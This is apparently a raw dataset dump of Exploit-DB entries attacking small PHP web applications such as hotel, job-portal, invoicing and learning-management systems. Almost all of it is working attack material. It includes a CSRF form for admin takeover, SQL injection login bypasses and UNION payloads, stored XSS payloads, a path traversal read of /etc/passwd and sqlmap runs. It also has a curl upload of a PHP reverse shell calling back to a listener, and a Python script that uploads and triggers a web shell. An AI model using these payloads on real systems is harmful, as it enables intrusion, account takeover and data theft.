deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49430
Description: Online Hotel Reservation System 1.0 - Cross-site request forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-01-15
Author: Mesut Cetin

Exploit:
# Exploit Title: Online Hotel Reservation System 1.0 - Cross-site request forgery (CSRF)
# Exploit Author: Mesut Cetin
# Date: 2021-01-14
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

Vulnerable to Cross-site request forgery (CSRF), can lead to full account takeover of Administrator account.

######## Proof of Concept #########

Send the victim the following PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/marimar/admin/mod_users/controller.php?action=edit" method="POST">
      <input type="hidden" name="USERID" value="1" />
      <input type="hidden" name="UNAME" value="Anonymous" />
      <input type="hidden" name="USERNAME" value="admin" />
      <input type="hidden" name="deptid" value="" />
      <input type="hidden" name="UPASS" value="admin" /> <!-- change this to the new password you wish -->
      <input type="hidden" name="ROLE" value="Administrator" />
      <input type="hidden" name="deptid" value="" />
      <input type="hidden" name="PHONE" value="912852478" />
      <input type="hidden" name="save" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #51728
Description: Online ID Generator 1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-10-09
Author: nu11secur1ty

Exploit:
## Title: Online ID Generator 1.0 - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 08/31/2023
## Vendor: https://www.youtube.com/watch?v=JdB9_po5DTc
## Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip
## Reference: https://portswigger.net/web-security/sql-injection
## Reference: https://portswigger.net/web-security/file-upload
## Reference: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload


STATUS: HIGH-CRITICAL Vulnerability

[+]Bypass login SQLi:
# In login form, for user:

```mysql
nu11secur1ty' or 1=1#
```

[+]Shell Upload exploit:
## For system logo:
```php
<?php
	phpinfo();
?>
```
[+]RCE Exploit
## Execution from the remote browser:
```URLhttp://localhost/id_generator/uploads/[PII_REDACTED]_info.php
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-ID-Generator-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/online-id-generator-10-sqli-bypass.html)

## Time spend:
00:10:00
Exploit-DB #49564
Description: Online Internship Management System 1.0 - 'email' SQL injection Auth Bypass
Type: webapps
Platform: php
Date: 2021-02-16
Author: Christian Vierschilling

Exploit:
# Exploit Title: Online Internship Management System 1.0 - 'email' SQL injection Auth Bypass
# Date: 16-02-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14712/online-internship-management-system-phpmysqli-full-source-code.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86


# --- Description --- #

The application contains sql injections in the parameters 'email' and 'password' in the file 'login.php'. 

# --- Proof of concept --- #

Curl request for authentication bypass via sql injection in parameter 'email':

curl http://x.x.x.x/internship/login.php --data "email='%20or%201=1;#&[CREDENTIAL_REDACTED]="
Exploit-DB #47725
Description: Online Inventory Manager 3.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-11-29
Author: Cemal Cihad ÇİFTÇİ

Exploit:
# Exploit Title: Online Inventory Manager 3.2 - Persistent Cross-Site Scripting
# Date: 2019-11-29
# Exploit Author: Cemal Cihad ÇİFTÇİ
# Vendor Homepage: https://bigprof.com
# Software Link : https://bigprof.com/appgini/applications/online-inventory-manager
# Software : Online Inventory Manager
# Version : 3.2
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# Tested on: Windows 10 Pro

# Stored XSS has been discovered in the Online Inventory Manager created by bigprof/AppGini
# editgroups section. In editgroups section
# (http://localhost/inventory/admin/pageEditGroup.php?groupID=1).

# Payload i used:
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>"

# POC: http://localhost/inventory/admin/pageViewGroups.php in this
# url you can edit the groups information with pressing onto the group name. After the edit page open
# you can enter your payload into the description field. After going back to
# the groups page you will see your Javascript code gonna run.
# This vulnerability is also exist while you are creating a new group.
Exploit-DB #42629
Description: Online Invoice System 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Online Invoice System 3.0 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.onlineinvoicesystem.com/
# Software Link: http://www.onlineinvoicesystem.com/index_v3.html
# Demo: http://www.onlineinvoicesystem.com/onlineinvoicesystem3/index.php
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# Bypass
# http://localhost/[PATH]/index.php
# User: 'or 1=1 or ''=' Pass: anything
# User: anything Pass: 'or 1=1 or ''='
# 
# Sql
# http://localhost/[PATH]/editclient.php?cid=[SQL]
# -5+/*!00003uNiOn*/(/*!00003SelECt*/+0x283129,/*!50000CONCAT_WS*/(0x203a20,USER()),/*!50000CONCAT_WS*/(0x203a20,DATABASE()),/*!50000CONCAT_WS*/(0x203a20,VERSION()),0x283529,(/*!50000SelECt*/+export_set(5,@:=0,(SelECt+CoUnt(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629)--+-
# 
# http://localhost/[PATH]/admin_invoice_print.php?id=[SQL]
# 
# http://localhost/[PATH]/edit_invoice.php?id=[SQL]
# 
# http://localhost/[PATH]/admin_invoice.php?id=[SQL]
# Etc...
# # # # #
Exploit-DB #47737
Description: Online Invoicing System 2.6 - 'description' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-12-03
Author: Cemal Cihad ÇİFTÇİ

Exploit:
# Exploit Title: Online Invoicing System 2.6 - 'description' Persistent Cross-Site Scripting
# Date: 2019-11-29
# Exploit Author: Cemal Cihad ÇİFTÇİ
# Vendor Homepage: https://bigprof.com
# Software Download Link : https://github.com/bigprof-software/online-invoicing-system
# Software : Online Invoicing System
# Version : 2.6
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS

# Stored XSS has been discovered in the Online Invoicing System created by bigprof/AppGini
# editmembers section. Description parameter affected from this vulnerability.
# payload: <script>alert(123);</script>

# HTTP POST request
POST /inovicing/app/admin/pageEditGroup.php HTTP/1.1
Host: 10.10.10.160
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 464
Origin: http://10.10.10.160
Connection: close
Referer: http://10.10.10.160/inovicing/app/admin/pageEditGroup.php?groupID=2
Cookie: inventory=4eg101l42apiuvutr7vguma5ar; online_inovicing_system=vl8ml5or8sgdee9ep9lnhglk69
Upgrade-Insecure-Requests: 1

groupID=2&name=Admins&description=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&visitorSignup=0&invoices_insert=1&invoices_view=3&invoices_edit=3&invoices_delete=3&clients_insert=1&clients_view=3&clients_edit=3&clients_delete=3&item_prices_insert=1&item_prices_view=3&item_prices_edit=3&item_prices_delete=3&invoice_items_insert=1&invoice_items_view=3&invoice_items_edit=3&invoice_items_delete=3&items_insert=1&items_view=3&items_edit=3&items_delete=3&saveChanges=1
Exploit-DB #12691
Description: Online Job Board - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-05-21
Author: cr4wl3r

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-----------------------------
   |  Online Job Board (Auth Bypass) SQL Injection Vulnerability  |
   |           (works only with magic_quotes_gpc = off)           |
   ----------------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Homepage: http://h4ckb0x.org/
[!] Script: http://hostnomi.net/detail.php?spid=15

[!] Dork: no dork for script kiddies :p~
[!] Remote: yes

[x] PoC:

http://h4ckb0x.org/siteadmin/index.php

Admin ID: ' or '1=1
Password: ' or '1=1

[~] Greetz: r0073r, str0ke, opt!x hacker, xoron, Ricardo Almeida, cyberlog, irvian, zreg, k1n9k0ng, letjen, team_elite, wiro sableng, samuel MC, EA ngel, and all my friend
[~] Special to: Valentin Hobel (Happy Birthday brotha) ;)

[~] Visit: inj3ct0r.com, exploit-db.com for more exploits and to update the new exploits
[~] Regards: cr4wl3r
Exploit-DB #48976
Description: Online Job Portal 1.0 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2020-10-30
Author: Akıner Kısa

Exploit:
# Exploit Title: Online Job Portal 1.0 - 'userid' SQL Injection
# Google Dork: N/A
# Date: 2020/10/28
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

# Vulnerable URL: http://localhost/jobportal/Admin/EditUser.php?UserId='

Proof of Concept:

1. See vulnerable url.

2. Open sqlmap and use " sqlmap -u "http://localhost/jobportal/Admin/EditUser.php?UserId='" --dbs " command.
Exploit-DB #48016
Description: Online Job Portal 1.0 - Cross Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2020-02-06
Author: Ihsan Sencan

Exploit:
# Exploit Title: Online Job Portal 1.0 - Cross Site Request Forgery (Add User)
# Dork: N/A
# Date: 2020-02-06
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
# Version: 1.0
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# Add User..
# 
POST /admin/user/controller.php?action=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

user_id=1&deptid=&U_NAME=hacker&deptid=&U_USERNAME=hacker&deptid=&U_PASS=hacker&U_ROLE=Administrator&save=
# 

# POC: 
# 2)
# Edit User..
# 
POST /admin/user/controller.php?action=edit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

user_id=1&deptid=&U_NAME=hacker_edit&deptid=&U_USERNAME=hacker_edit&deptid=&U_PASS=hacker_edit&U_ROLE=Administrator&save=
#
Exploit-DB #48898
Description: Online Job Portal 1.0 - Cross Site Scripting (Stored)
Type: webapps
Platform: php
Date: 2020-10-19
Author: Akıner Kısa

Exploit:
# Exploit Title: Online Job Portal 1.0 Cross Site Scripting (Stored)
# Google Dork: N/A
# Date: 2020/10/17
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

Proof of Concept:

1 - Open URL http://localhost/jobportal/Employer/ManageJob.php

2 - Fill in the blanks with this payload: "><script>alert (1)</script>

3 - And click submit button.
Exploit-DB #48012
Description: Online Job Portal 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-02-06
Author: Ihsan Sencan

Exploit:
# Exploit Title: Online Job Portal 1.0 - Remote Code Execution
# Dork: N/A
# Date: 2020-02-06
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
# Version: 1.0
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# 
curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]89730436' -H $'Content-Length: 781' -H $'Referer: http://localhost/[PATH]/admin/user/index.php?view=view' -H $'Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' \
    --data-binary $'----------------------------[PII_REDACTED][PII_REDACTED]89730436\x0d\x0aContent-Disposition: form-data; name=\"mealid\"\x0d\x0a\x0d\x0a\x0d\x0a----------------------------[PII_REDACTED][PII_REDACTED]89730436\x0d\x0aContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\x0d\x0a\x0d\x0a1000000\x0d\x0a----------------------------[PII_REDACTED][PII_REDACTED]89730436\x0d\x0aContent-Disposition: form-data; name=\"photo\"; filename=\"exp.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0aGIF89c;\x0d\x0a<?php $sock = fsockopen(\'192.168.1.104\',6666);\x0d\x0a$descriptorspec = array(\x0d\x0a0 => $sock,\x0d\x0a1 => $sock,\x0d\x0a2 => $sock\x0d\x0a);\x0d\x0a\x0d\x0a$process = proc_open(\'/bin/sh\', $descriptorspec, $pipes);\x0d\x0aproc_close($process);?>\x0d\x0a\x0d\x0a----------------------------[PII_REDACTED][PII_REDACTED]89730436\x0d\x0aContent-Disposition: form-data; name=\"savephoto\"\x0d\x0a\x0d\x0a\x0d\x0a----------------------------[PII_REDACTED][PII_REDACTED]89730436--\x0d\x0a' \
    $'http://localhost/[PATH]/admin/user/controller.php?action=photos'
# 
curl -i -s -k -X $'GET' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' \
    $'http://localhost/[PATH]/admin/user/photos/exp.php'
# 
root@ihsan:~/ExploitDB# nc -nlvp 6666
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 192.168.1.104.
Ncat: Connection from 192.168.1.104:35574.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
Exploit-DB #7524
Description: Online Keyword Research Tool - 'download.php' File Disclosure
Type: webapps
Platform: php
Date: 2008-12-19
Author: Cold Zero

Exploit:
Online Keyword Research (download.php filename) Local File Include

# author : Cold z3ro, http://www.hackteach.org/
# script : http://secure.emetrix.com/order/product.asp?PID=68900247
# demo   : http://www.rightscripts.com/keywordresearch/


# Exploit

[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd


# Example

[~] http://www.rightscripts.com/keywordresearch/download.php?filename=../../../../../../../../etc/passwd



============================
Greetz : www.hackteach.org members , AnGeL25dZ

# milw0rm.com [2008-12-19]
Exploit-DB #49326
Description: Online Learning Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-23
Author: Aakash Madaan

Exploit:
# Exploit Title:  Online Learning Management System 1.0 - 'id' SQL Injection
# Exploit Author: Aakash Madaan (Godsky)
# Date: 2020-12-22
# Vendor Homepage: https://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7339&title=Online+Learning+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1. Login to the application with admin credentials

Step 2. Click on "Departments" page.

Step 3. Choose any event and select "edit". The url should be "http(s)://<host>/admin/edit_department.php?id=4"

Step 4. Capture the request to the "edit" event page in burpsuite.

Step 5. Save the captured request and run sqlmap on it using "sqlmap -r request --time-sec=5 --dbs

---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4' AND (SELECT 7775 FROM (SELECT(SLEEP(5)))vwwE) AND
'OoVY'='OoVY

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-9296' UNION ALL SELECT
NULL,NULL,CONCAT(0x716a707871,0x[PII_REDACTED]7955536b5276427a5a416a764e6a4b46476a57704f6d[PII_REDACTED]4153494e53525970,0x716a716a71)--
-
---
[16:01:08] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:01:08] [INFO] fetching database names
[16:01:12] [INFO] retrieved: 'information_schema'
[16:01:13] [INFO] retrieved: 'mysql'
[16:01:15] [INFO] retrieved: 'performance_schema'
[16:01:16] [INFO] retrieved: 'css'
[16:01:18] [INFO] retrieved: 'sales_inventory_db'
[16:01:19] [INFO] retrieved: 'rios_db'
[16:01:19] [INFO] retrieved: 'capstone'
available databases [7]:

[*] capstone
[*] css
[*] information_schema
[*] mysql
[*] performance_schema
[*] rios_db
[*] sales_inventory_db


Step 6. Sqlmap should inject the web-app successfully which leads to
information disclosure
Exploit-DB #49324
Description: Online Learning Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-12-23
Author: Aakash Madaan

Exploit:
# Exploit Title: Online Learning Management System 1.0 - Authentication Bypass
# Exploit Author: Aakash Madaan (Godsky)
# Date: 2020-12-22
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7339&title=Online+Learning+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS
# Description: Easy authentication bypass vulnerability on the application allows an attacker to log in as the registered user without password.

Step 1: Go to http://localhost/ and register a new user or try to login as
already registered user (Ubas).

Step 2: On the login page, use query { Ubas' or '1'='1 } as username

Step 2: On the login page, use same query { Ubas' or '1'='1 } as password

All set you should be logged in as Ubas.
Exploit-DB #49365
Description: Online Learning Management System 1.0 - RCE (Authenticated)
Type: webapps
Platform: php
Date: 2021-01-05
Author: Bedri Sertkaya

Exploit:
# Exploit Title: Online Learning Management System 1.0 - RCE (Authenticated)
# Date: 01.01.2021
# Exploit Author: Bedri Sertkaya
# Vendor Homepage: https://www.sourcecodester.com/php/7339/learning-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7339&title=Online+Learning+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 / WAMP Server

import requests

cmd = "start cmd.exe" # Command to execute
target = "http://192.168.1.101/lms" #
username = "21100867"
password = "heni"
# Login and get session_cookie
url = target+"/login.php"
headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-A=gent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML=, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://192.168.1.10=1", "Referer": "http://192.168.1.101/lms/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
data = {"username": username, "password": password}
s = requests.post(url, headers=headers, data=data)
session_cookie = s.cookies.get_dict()

# Upload Shell
burp0_url = target+"/student_avatar.php"
burp0_cookies = session_cookie
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.1.101", "Content-Type": "multipart/form-data; boundary----WebKitFormBoundarybHBgGwgOFblz5IgL", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0=.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.1.101/lms/student_notification.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundarybHBgGwgOFblz5IgL\r\nContent-Disposition: form-data; name=\"image\"; filename=\"exploit.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\r\nshell_exec('"+cmd+"');\r\n------WebKitFormBoundarybHBgGwgOFblz5IgL\r\nContent-Disposition: form-data; name=\"change\"\r\n\r\n\r\n------WebKitFormBoundarybHBgGwgOFblz5IgL--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

# Trigger exploit
trigger_url = "http://192.168.1.101:80/lms/admin/uploads/exploit.php"
trigger_cookies = session_cookie
requests.get(trigger_url, cookies=trigger_cookies)